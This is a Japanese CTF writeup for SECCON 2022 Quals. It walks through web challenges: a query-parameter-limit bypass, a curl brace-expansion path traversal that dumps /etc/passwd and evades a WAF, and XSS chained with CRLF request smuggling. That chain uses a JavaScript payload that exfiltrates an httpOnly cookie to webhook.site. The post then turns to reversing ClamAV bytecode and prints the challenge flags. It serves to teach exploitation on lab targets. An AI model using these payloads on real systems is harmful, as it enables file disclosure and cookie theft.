st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 2022 Quals writeup

11/12 - 11/13という日程で開催された。昨年に引き続きkeymoonさんとのコンビで、_(-.- _) )_ *1*2というチームで参加し全体で22位、日本国内に限ると3位だった。今年度は2月に浅草橋で決勝大会が開催されるそうで、その枠が国際決勝と国内決勝で10チームずつ用意されているようなので、我々は国内決勝に参加できるということになる。やったー。

今回は(も?)私はWeb問を中心に取り組んでいたのだけれども、piyosay, denobox, spanoteといった高難易度帯の問題が解けず悔しい。終盤は半分諦めてDevil Hunter, DoroboHといったRev問に取り組んでいた。もうちょっと諦めが早ければあと1問解けたかもしれないなあと思いつつ。Web問は全問がArkさんによる作問で、どれも面白かった。

ほかのメンバーのwriteup:

keymoon.hatenablog.com

関連リンク:


[Web 100] skipinx (102 solves)

ALL YOU HAVE TO DO IS SKIP NGINX

添付ファイル: skipinx.tar.gz

ソースコードが添付されている。nginxの裏側でNode.jsのアプリが動いているような構成だった。nginxの設定ファイルである default.conf は以下のような内容だった。至極単純で、ユーザから与えられたクエリパラメータに proxy=nginx を付け加えた上で、後はそのまま裏のNode.jsのアプリに渡している。

server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

Node.jsのコードである index.js は以下のような内容だった。クエリパラメータの proxynginx という文字列が含まれていない場合にフラグを出力してくれるらしい。

const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

これらを見て、次のようなことを考えて、試していた。

  • めちゃくちゃ長いクエリパラメータにしたら、nginxが空気を読んでNode.jsに渡すときに proxy=nginx より前で切ってくれるかも
    • → 限界まで伸ばしたら414で怒られた
  • proxy=hoge みたいに同名のパラメータを付け加えたら、いずれか一方だけを採用するのでは
    • console.log(req.query) でパラメータを出力する処理を加えて検証した
    • デフォルトでは、Expressは proxy=hoge&proxy=fuga のように同名のパラメータがある場合には、{ proxy: ['hoge', 'fuga'] } のように配列として扱うっぽい
    • → 文字列ではなくなったが、配列にも Array.prototype.includes はあるし、['hoge', 'nginx'].includes('nginx') は当然trueなのでダメ
  • proxy[a]=hogeproxy[toString]=hoge のように req.query.proxy をオブジェクトにしてしまえばよいのでは
    • → オブジェクトには includes メソッドがないので、req.query.proxy.includes("nginx") で例外が発生して終わり
  • proxy[1]=hoge のようにすれば、要素が書き換えられるのでは
    • → 以下のように要素がぴょこぴょこ動くだけだった
$ curl -g --path-as-is "localhost:8080?proxy=a&proxy=b"
{ proxy: [ 'a', 'b', 'nginx' ] }
$ curl -g --path-as-is "localhost:8080?proxy[1]=a&proxy=b"
{ proxy: [ 'b', 'a', 'nginx' ] }
$ curl -g --path-as-is "localhost:8080?proxy[2]=a&proxy=b"
{ proxy: [ 'b', 'nginx', 'a' ] }

こういう試行錯誤を繰り返した。最終的に、proxy=a を1000個くっつけた場合に変なことが起こった。

$ cat s.py
import requests
r = requests.get(f'http://skipinx.seccon.games:8080/?' + 'proxy=a&' * 1000)
print(r.text)
$ python3 s.py
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}

フラグが得られた。

SECCON{sometimes_deFault_options_are_useful_to_bypa55}

問題名を見てすきぴ…? と思ったけど全然違った。あまりに奇妙な挙動だったので、後からその理由を調べた。Expressでは、クエリパラメータのパースにデフォルトでは qsというパッケージが使われている。qs には parameterLimit というオプションがあり、この値として設定されている個数を上限としてパラメータがパースされる。たとえば、parameterLimit が3である場合に a=1&b=2&c=3&d=4 というクエリパラメータが渡されれば、最初の3個のパラメータである a, b, c だけがパースされる。デフォルトでは parameterLimit は1000なので、先程のソルバでは1001個目のパラメータとなる proxy=nginx は無視されたということになる。

[Web 124] easylfi (62 solves)

Can you read my secret?

添付ファイル: easylfi.tar.gz

与えられたURLにアクセスすると、以下のように名前の入力を求められる。

適当に入力すると /hello.html?%7Bname%7D=(入力した名前) に飛ばされ、以下のように描画される。

添付されているソースコードを確認していく。Dockerfile には COPY flag.txt / という処理があり、/flag.txt をなんとかして読み取ることが目的であるとわかる。WebアプリはPython製で、処理は app.py という以下の1ファイルにまとまっている。validatetemplate という2つの関数からなる自作のテンプレートエンジンが乗っかっているっぽい。/index.html/hello.html にアクセスすると、public/(ファイル名) からテンプレートを引っ張ってきて、クエリパラメータをもとにレンダリングするらしい。

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

レンダリングといっても処理は単純だ。パラメータのうち、{name} のように { から始まり } で終わる(また、始めと終わり以外に {} が含まれない)キーについて、テンプレートに対応する文字列が含まれていればそのパラメータの値に置換する。もしルールに違反する name などのキーがパラメータに存在していれば、その時点で Invalid key と言われて処理が中断される。

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text

ファイルを取得してくる処理は以下のようになっている。なぜか curl が使われている。まず考えるのはPath Traversalで /flag.txt を表示させることだが、残念ながら ..% がリクエストしたファイル名に含まれる場合には弾かれてしまう。そもそも、レスポンスに SECCON という文字列が含まれている場合には waf によって弾かれてしまうので、/flag.txtcurl に取得させたところでもうひと頑張りする必要がある。

@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

せめて public/ 下以外のファイルを出力させられないかと考えたところで、ひとつ思いつく。curlは https://example.com/{a,b,c} のようにブレースを使うと複数のファイルを表示させられるのではないか。試しに hello.html を2回表示させようとしてみると、できた。

$ curl -g "http://easylfi.seccon.games:3000/{hello.html,hello.html}"
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>

さらに、..{.}. のように表現することで waf をバイパスできるのではないかと考え試してみたところ、できた。

$ curl -g "http://easylfi.seccon.games:3000/{.}./{.}./{.}./etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

もちろんこの脆弱性を使って /flag.txt を取得させることもできるが、waf によって阻まれてしまう。なんとかしてバイパスできないか。たとえば、フラグの SECCON の部分を削除できないか。SECCON=hoge のようなパラメータを与えれば SECCONhoge に置換できるのではないかと考えたが、validate によってキーが { から始まり } で終わっているかチェックされているので、残念ながらできない。

validate がわざわざ enumerate でぶん回すという妙な実装になっているのが気になって色々試していると、validate('{') の返り値がTrueであることに気づいた。なるほど、validate は文字数のチェックをしていないし、i == len(key) - 1 のチェックも elif の部分なので、すでに最初の if i == 0 のチェックを通っている以上なされないのか。

この挙動を使えば、{=} のようなクエリパラメータを与えてフラグを表示させようとすると、SECCON}…} のように置換されるはず。別の { の後に } が出現しないファイルをその前に出力させた上で、{…SECCON} を別の文字列に置換させることで waf をバイパスできそうだ。そのようなファイルを探すPythonスクリプトを書く。

import glob
import os.path

fns = glob.glob('/usr/**', recursive=True)
for fn in fns:
  if 'proc' in fn:
    continue
  if not os.path.isfile(fn):
    continue

  with open(fn, 'rb') as f:
    s = f.read()

    try:
      s.decode('utf-8')
      i = s.rindex(b'{')
      if b'}' not in s[i:]:
        print(len(s[i:]), fn)
    except:
      pass

手元の問題環境でそのコードを実行する。いくつか見つかった。/usr/include/rpcsvc/nis.x{ より後にある文字の数が少ないので、これを使うことにする。

$ python3 s.py
17 /usr/include/rpcsvc/nis.x
3479 /usr/lib/x86_64-linux-gnu/perl/5.32/Compress/Raw/Zlib.pm
3479 /usr/lib/x86_64-linux-gnu/perl/5.32.1/Compress/Raw/Zlib.pm
10999 /usr/lib/python3.9/logging/__init__.py
1429 /usr/lib/python3.9/json/scanner.py
444 /usr/share/doc/unzip/BUGS
825 /usr/share/doc/mercurial/examples/vim/hg-menu.vim
825 /usr/share/doc/mercurial-common/examples/vim/hg-menu.vim
1196346 /usr/share/mime/packages/freedesktop.org.xml
3109 /usr/local/include/python3.10/Python.h
11208 /usr/local/lib/python3.10/logging/__init__.py
1429 /usr/local/lib/python3.10/json/scanner.py
504 /usr/local/lib/python3.10/site-packages/setuptools/logging.py

気をつけてペイロードを組み立てると、フラグが得られた。

$ curl --output - -g --path-as-is "http://easylfi.seccon.games:3000/{.}./{.}./{/usr/include/rpcsvc/nis.x,flag.txt}?{=}{&{%0a%25%23endif%0a%23endif%0a--_curl_--file:///app/public/../../flag.txt%0aSECCON}=SECCOn"
...
%#ifndef __nis_3_h
%#define __nis_3_h
%#ifdef __cplusplus
%extern "C" }SECCOn{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

validate('{') の返り値がTrueであることに気づくまでに時間がかかった。めちゃくちゃ面白いパズル問だった。よくこんな問題思いつくなあ。

[Web 149] bffcalc (41 solves)

There is a simple calculator!

添付ファイル: bffcalc.tar.gz

Please confirm that you can get a dummy flag on your local server before you try your attack on the remote server.

Note: The services restart every 10 minutes.

与えた計算式を計算してくれる便利なWebアプリ。右下のReportボタンを押すことで、計算式をadminと共有することもできるようだ。

*3

adminにreportできるという点でXSS問っぽい。実はXSSは簡単にできて、<img src=x onerror=alert(123)> のような「計算式」を投げるとJSコードが実行できる。CSPなどはない。問題はフラグの保存のされ方で、添付されているソースコードにあるXSS botのコードを確認してみると、なんとフラグが含まれるCookieがhttpOnlyであることがわかる。これではXSSだけではフラグが手に入れられない。どうしろというのか。

  await page.setCookie({
    name: "flag",
    value: FLAG,
    domain: APP_HOST,
    path: "/",
    httpOnly: true,
  });

ソースコードをじっくり確認していく。この問題は不思議な構成で、nginx → bffbackend のように3つのサーバからなっている。nginxから見ていく。nginxの設定ファイルは以下のような内容で、単なるリバースプロキシで特に問題があるようには見えない。次。

server {
  listen 3000 default_server;
  server_name nginx;

  # ref. https://www.fastify.io/docs/latest/Guides/Recommendations/#nginx
  proxy_http_version 1.1;
  proxy_cache_bypass $http_upgrade;
  proxy_set_header Upgrade $http_upgrade;
  proxy_set_header Connection 'upgrade';
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_set_header X-Forwarded-Proto $scheme;

  location = /report {
    proxy_pass http://report:3000;
  }

  location / {
    proxy_pass http://bff:3000;
  }
}

bff は以下のPythonコードで動いている。これもリバースプロキシではあるが、わざわざHTTPリクエストを組み立てて backend に投げている。HTTP Request Smugglingでもするのだろうかと思う。次。

import cherrypy
import time
import socket


def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body


class Root(object):
    indexHtml = open("index.html").read()

    @cherrypy.expose
    def index(self):
        return self.indexHtml

    @cherrypy.expose
    def default(self, *args, **kwargs):
        return proxy(cherrypy.request)


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

backend は以下のPythonコードで動いている。expr というパラメータで与えられた計算式について、50文字未満かつ 0123456789+-*/ という許可された文字種のみから構成されている場合にのみ、それを eval して計算する。Cookieはこの backend まで届くはずなので、なんとかして悪いコードを実行させて eval に吐き出させられないだろうかと一瞬考えた。だが、さすがに使える文字種がこれだけだと何も悪いことはできない。

import cherrypy


class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
        if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
            return str(eval(expr))
        return expr


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

eval 中でエラーを発生させたら、デバッグメッセージとしてCookieが出力されないだろうかとも考えた。だが、1/0 を計算させても以下のようにスタックトレースなどが出力されるだけで、Cookieは出力されなかった。

そういうわけで、backend ではこれ以上何もできないだろうし、bff が一番怪しく見える。

bff ではパスやヘッダなどをもとにHTTPリクエストを組み立てていたが、どこかでCRLF Injection(というのはこのようなシチュエーションでも言えるのだろうか)ができないだろうか。HTTPリクエストが組み立てられている処理で使われているユーザからのパラメータは以下の通り。

  • メソッド名: req.method
  • パス: req.path_info
  • クエリパラメータ: req.query_string
  • ヘッダ: req.headers

bff の処理に print(payload) を挿入して、組み立てたHTTPリクエストが出力されるようにする。参照されていたユーザからのパラメータについてそれぞれいじっていたところ、fetch('/api/a%0d%0a%0d%0a') とパスにCRLFを挿入した際に妙な挙動をした。パスがデコードされた上でHTTPリクエストに展開されており、ここでCRLF Injectionが起こっている。

/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0a%0d%0aGET /%3fexpr=b のようにすると、以下のように2つのHTTPリクエストが含まれているようにみえるHTTPリクエストが組み立てられていることがわかる。

HTTPレスポンスを確認すると、以下のように2つ分のHTTPレスポンスが返ってきていた。これを使って、たとえばHTTPリクエストに Content-Type: application/x-www-form-urlencoded を含ませた上で Content-Length で調整しつつ、Cookie ヘッダの部分をHTTPリクエストボディなどとして扱わせることができるのではないか。

aHTTP/1.1 200 OK
Content-Length: 1
Content-Type: text/html;charset=utf-8
Date: Sun, 13 Nov 2022 23:43:28 GMT
Server: CherryPy/18.8.0
Via: waitress

b

そんな感じで色々試していたところ、/ HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: 102%0d%0a%0d%0a のように Content-Length を中途半端な値にした場合に以下のようなHTTPレスポンスが返ってきているのが確認できた。ちょうど X-Real-Ip ヘッダの部分がHTTPリクエストラインとして解釈されるようになり、X-Real-Ip がメソッド名としておかしいためにこのようなエラーが発生したようだ。これを使ってフラグをリークさせられないか。

42HTTP/1.0 400 Bad Request
Connection: close
Content-Length: 76
Content-Type: text/plain; charset=utf-8
Date: Sun, 13 Nov 2022 23:48:30 GMT
Server: waitress

Bad Request

Malformed HTTP method "X-Real-Ip:"
(generated by waitress)

以下のようなスクリプトを自分のWebサーバでホストする。そして、<img src=x onerror="import('http://(略)/xxx.php')"> という「計算式」をreportする。

<?php
header('Content-type: application/javascript');
header('Access-Control-Allow-Origin: *');
?>

(async () => {
document.cookie = 'a=b';

for (let i = 350; i < 500; i += 10) {
  const r = await (await fetch(`/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: ${i}%0d%0a%0d%0a`)).text();
  if (r.includes('Malformed HTTP method')) {
    navigator.sendBeacon('http://webhook.site/(略)', JSON.stringify([i, r]));
  }
}

})();

しばらく待つと、以下のようにフラグの含まれるHTTPリクエストが飛んできた。

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

これもとても面白かった。よくこんな問題思いつくなあ。

[Reversing 168] Devil Hunter (31 solves)

Clam Devil; Asari no Akuma

添付ファイル: devil_hunter.tar.gz

問題の概要

添付ファイルを展開すると check.shflag.cbc というファイルが出てくる。check.sh は以下のような内容だった。clamscan というClamAVのファイルのスキャンができるツールを使って、与えたファイルがフラグかどうかチェックしてくれるスクリプトのようだ。-dflag.cbc と、なにやら flag.cbc を指定するオプションが付いている。

#!/bin/sh
if [ -z "$1" ]
then
    echo "[+] ${0} <flag.txt>"
    exit 1
else
    clamscan --bytecode-unsigned=yes --quiet -dflag.cbc "$1"
    if [ $? -eq 1 ]
    then
        echo "Correct!"
    else
        echo "Wrong..."
    fi
fi

clamscan のヘルプを見ると、これは flag.cbc を "virus database" とするオプションであるとわかる。どういうことか。

$ clamscan --help
…
    --database=FILE/DIR   -d FILE/DIR    Load virus database from FILE or load all supported db files from DIR
…

flag.cbc は以下のような内容だった。すべての文字がASCII範囲内であり、一部に Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b のように意味のある文字列が含まれているものの、全体としてはよくわからない。

最初の ClamBC という6バイトがマジックナンバーではないかと思いググってみたところ、clambc というツールの説明がいくつかヒットした。どうやらこのファイルはbytecode signatureというものらしい。

$ xxd flag.cbc
00000000: 436c 616d 4243 6166 6861 696f 606c 6663  ClamBCafhaio`lfc
00000010: 667c 6161 6060 6063 6060 6160 6060 7c61  f|aa```c``a```|a
00000020: 6860 636e 6261 6360 6365 636e 6260 6360  h`cnbac`cecnb`c`
00000030: 6062 6561 6163 7060 636c 616d 636f 696e  `beaacp`clamcoin
00000040: 6369 6465 6e63 656a 623a 3430 3936 0a53  cidencejb:4096.S
00000050: 6563 636f 6e2e 5265 7665 7273 696e 672e  eccon.Reversing.
00000060: 7b46 4c41 477d 3b45 6e67 696e 653a 3536  {FLAG};Engine:56
00000070: 2d32 3535 2c54 6172 6765 743a 303b 303b  -255,Target:0;0;
00000080: 303a 3533 3435 3433 3433 3466 3465 3762  0:534543434f4e7b
00000090: 0a54 6564 6461 6161 6864 6162 6168 6461  .Teddaaahdabahda
…

clambc はbytecode signatureのテストや解析に使えるツールだそうだが、このバイトコードを読める形に変換してくれるだろうか。試しにヘルプで "Print bytecode source" と説明されていた --printsrc オプションを投げてみたが、なにやら細工がされているようで以下のようなメッセージが表示されてしまった。

$ clambc -p flag.cbc
not so easy :P

"Print IR of bytecode signature" と説明されていた --printbcir オプションでは、ちゃんとバイトコードを読める形で出力してくれた。これを読んでいきたい。F.0, F.1, F.2 の3つの関数が存在しているが、F.0F.1 を呼び出し、さらに F.1F.2 を呼び出すという関係があるので、おそらく F.0 がエントリーポイントだろう。ここから読んでいく。

$ clambc --printbcir flag.cbc
found 21 extra types of 85 total, starting at tid 69
TID  KIND                INTERNAL
------------------------------------------------------------------------
…
########################################################################
####################### Function id   0 ################################
########################################################################
found a total of 4 globals
GID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i0 unknown
  1 [  1]: [22 x i8] unknown
  2 [  2]: i8* unknown
  3 [  3]: i8* unknown
------------------------------------------------------------------------
found 2 values with 0 arguments and 2 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i1
  1 [  1]: i32
------------------------------------------------------------------------
found a total of 2 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [  2]: 21(0x15)
  1 [  3]: 0(0x0)
------------------------------------------------------------------------
found a total of 4 total values
------------------------------------------------------------------------
FUNCTION ID: F.0 -> NUMINSTS 5
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_CALL_DIRECT   [32 /160/  0]  0 = call F.1 ()
  0    1  OP_BC_BRANCH        [17 / 85/  0]  br 0 ? bb.1 : bb.2

  1    2  OP_BC_CALL_API      [33 /168/  3]  1 = setvirusname[4] (p.-2147483645, 2)
  1    3  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

  2    4  OP_BC_RET           [19 / 98/  3]  ret 3
------------------------------------------------------------------------
…

バイトコードを読む

読んでいくと言っても、このバイトコードについてググってもほとんど情報が見つからない。仕方がないので、ClamAVに含まれるVMのソースコードなども参考にしつつ、出力された情報がそれぞれどんな意味を持っているか確認していく。

まず各関数の最初に出力されている、変数と定数について確認する。上から4つはグローバル変数で、残りの2つの関数でも同じものが出力されている。続いてローカル変数とこの関数で使われている定数が出力されているが、ローカル変数と定数とで関係なく通しの番号(ID)が振られている。型は i1, i32, [22 x i8] といったような表記でLLVMっぽい。

found a total of 4 globals
GID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i0 unknown
  1 [  1]: [22 x i8] unknown
  2 [  2]: i8* unknown
  3 [  3]: i8* unknown
------------------------------------------------------------------------
found 2 values with 0 arguments and 2 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i1
  1 [  1]: i32
------------------------------------------------------------------------
found a total of 2 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [  2]: 21(0x15)
  1 [  3]: 0(0x0)
------------------------------------------------------------------------
found a total of 4 total values

関数の本体を見ていく。各命令やオペランドの意味は、命令の名前やINSTに表示されている説明を見るとなんとなくわかる。ときどきわからないものも出てくるけれども、VMのソースコードとかを確認すればよい。

各命令にはIDXとインデックスが振られているほか、別にBBという番号も振られている。これは OP_BC_JMPOP_BC_BRANCH といったジャンプする命令で使われる番号で、たとえば jmp bb.2 ではBBが2である最初の命令にジャンプするし、br 0 ? bb.1 : bb.2 ではIDが0のローカル変数・定数の値によって、bb.1bb.2 のいずれかのブランチにジャンプする。

命令中では、ローカル変数や定数は先程説明したIDによって参照される。たとえば、IDXが0の命令である 0 = call F.1 () では、F.1 という関数を呼び出して、その返り値をIDが0であるローカル変数に格納する。別の関数にある命令だが、37 = 130 * 131 はIDがそれぞれ130, 131であるローカル変数もしくは定数をかけ合わせた上で、IDが37であるローカル変数に格納する。19 = read[1] (p.3, 117) という命令のように、IDの前に p. というプレフィクスが付いた場合には、そのローカル変数をポインタとして扱うことを意味する。おそらく。

これらのことを踏まえてこの関数を読んでいく。F.1 を呼び出して、その返り値がtrueであれば bb.1 に、falseであれば bb.2 にジャンプしている。OP_BC_CALL_API というのは read, write, setvirusname といったAPIを呼び出せる命令で、いわばシステムコールのようなもの。どんなAPIがあるかは、bytecode_api.h で確認できる。今回 bb.1 で呼び出されているのは setvirusname で、発見されたウイルスの名前を設定するらしい。この挙動の差異で clamscan の終了コードを変えるのだろう。

FUNCTION ID: F.0 -> NUMINSTS 5
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_CALL_DIRECT   [32 /160/  0]  0 = call F.1 ()
  0    1  OP_BC_BRANCH        [17 / 85/  0]  br 0 ? bb.1 : bb.2

  1    2  OP_BC_CALL_API      [33 /168/  3]  1 = setvirusname[4] (p.-2147483645, 2)
  1    3  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

  2    4  OP_BC_RET           [19 / 98/  3]  ret 3

次は F.1 を読んでいきたいが、ちょっと長いのでかいつまんで説明する。いくつか聞き慣れない命令があるので確認すると、

  • OP_BC_ICMP_ULT: Internet Control Message Protocolとは関係ない。ICMP はintegerのcompare、ULT はunsignedとしてのless thanを意味するっぽい
  • OP_BC_GEPZ: GEPは GetElementPtr を意味するっぽい。x86の LEA みたいなもんかな
  • OP_BC_SEXT: signedなextensionっぽい

といった感じだった。だいたいLLVMの命令セットにもとづいていそうなので、困ったらLLVMのマニュアルを参照すればよさそう。

この関数がどんな挙動をするか確認する。最初の bb.0 でまず seek(7, 0) しているが、これは seek の実装も確認すると、与えられたファイルの頭7バイトを読み飛ばしていることがわかる。与えられているファイルは flag.txt なので、SECCON{ の部分を読み飛ばしているのだろう。

FUNCTION ID: F.1 -> NUMINSTS 115
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_GEPZ          [36 /184/  4]  5 = gepz p.4 + (104)
  0    1  OP_BC_GEPZ          [36 /184/  4]  7 = gepz p.6 + (105)
  0    2  OP_BC_CALL_API      [33 /168/  3]  8 = seek[3] (106, 107)
  0    3  OP_BC_COPY          [34 /174/  4]  cp 108 -> 2
  0    4  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

1文字ずつ read してるっぽい処理。IDX 5の 9 = (18 < 109) で参照されているID 18は何文字読み込んだかというループカウンタ、ID 109は36という定数で、要は36文字読み込むまで read し続けている。read の第一引数は読み込み先のアドレスを、第二引数は読み込むバイト数を意味している。読み込み先はID 4のローカル変数(型は alloc [36 x i8])だ。

IDX 15の 17 = (16 < 114) とIDX 18の br 17 ? bb.7 : bb.1 について、ID 16は read の返り値、つまり読み込んだバイト数で、ID 114は1という定数であるから、もしファイルからの読み込みができなければ(SECCON{ 以降に36文字なければ) bb.7 にジャンプするという処理をしていることになる。

  1    5  OP_BC_ICMP_ULT      [25 /129/  4]  9 = (18 < 109)
  1    6  OP_BC_COPY          [34 /174/  4]  cp 18 -> 2
  1    7  OP_BC_BRANCH        [17 / 85/  0]  br 9 ? bb.2 : bb.3

  2    8  OP_BC_COPY          [34 /174/  4]  cp 2 -> 10
  2    9  OP_BC_SHL           [8  / 44/  4]  11 = 10 << 110
  2   10  OP_BC_ASHR          [10 / 54/  4]  12 = 11 >> 111
  2   11  OP_BC_TRUNC         [14 / 73/  3]  13 = 12 trunc ffffffffffffffff
  2   12  OP_BC_GEPZ          [36 /184/  4]  14 = gepz p.4 + (112)
  2   13  OP_BC_GEP1          [35 /179/  4]  15 = gep1 p.14 + (13 * 65)
  2   14  OP_BC_CALL_API      [33 /168/  3]  16 = read[1] (p.15, 113)
  2   15  OP_BC_ICMP_SLT      [30 /153/  3]  17 = (16 < 114)
  2   16  OP_BC_ADD           [1  /  9/  0]  18 = 10 + 115
  2   17  OP_BC_COPY          [34 /174/  4]  cp 116 -> 0
  2   18  OP_BC_BRANCH        [17 / 85/  0]  br 17 ? bb.7 : bb.1

bb.7 は以下のようにID 0のローカル変数を返り値に関数を終了している処理になっている。ここまででこのローカル変数は一切触られていないが、何が入っているのだろう。0かな。

  7  112  OP_BC_COPY          [34 /174/  4]  cp 0 -> 102
  7  113  OP_BC_TRUNC         [14 / 70/  0]  103 = 102 trunc ffffffffffffffff
  7  114  OP_BC_RET           [19 / 95/  0]  ret 103

bb.1, bb.2 の読み込み処理がいい感じに終わると bb.3 に飛ぶ。もう1文字 read して、IDX 22の 22 = (21 == 119) でID 119の定数と比較している。その値は125で、ASCIIに直すと } だ。それでフラグが終わりかチェックしているらしい。もしそうなら bb.4 に、そうでなければ bb.7 に飛んでいる。

  3   19  OP_BC_CALL_API      [33 /168/  3]  19 = read[1] (p.3, 117)
  3   20  OP_BC_ICMP_SGT      [27 /138/  3]  20 = (19 > 118)
  3   21  OP_BC_COPY          [34 /171/  1]  cp 3 -> 21
  3   22  OP_BC_ICMP_EQ       [21 /106/  1]  22 = (21 == 119)
  3   23  OP_BC_AND           [11 / 55/  0]  23 = 20 & 22
  3   24  OP_BC_COPY          [34 /174/  4]  cp 120 -> 0
  3   25  OP_BC_BRANCH        [17 / 85/  0]  br 23 ? bb.4 : bb.7

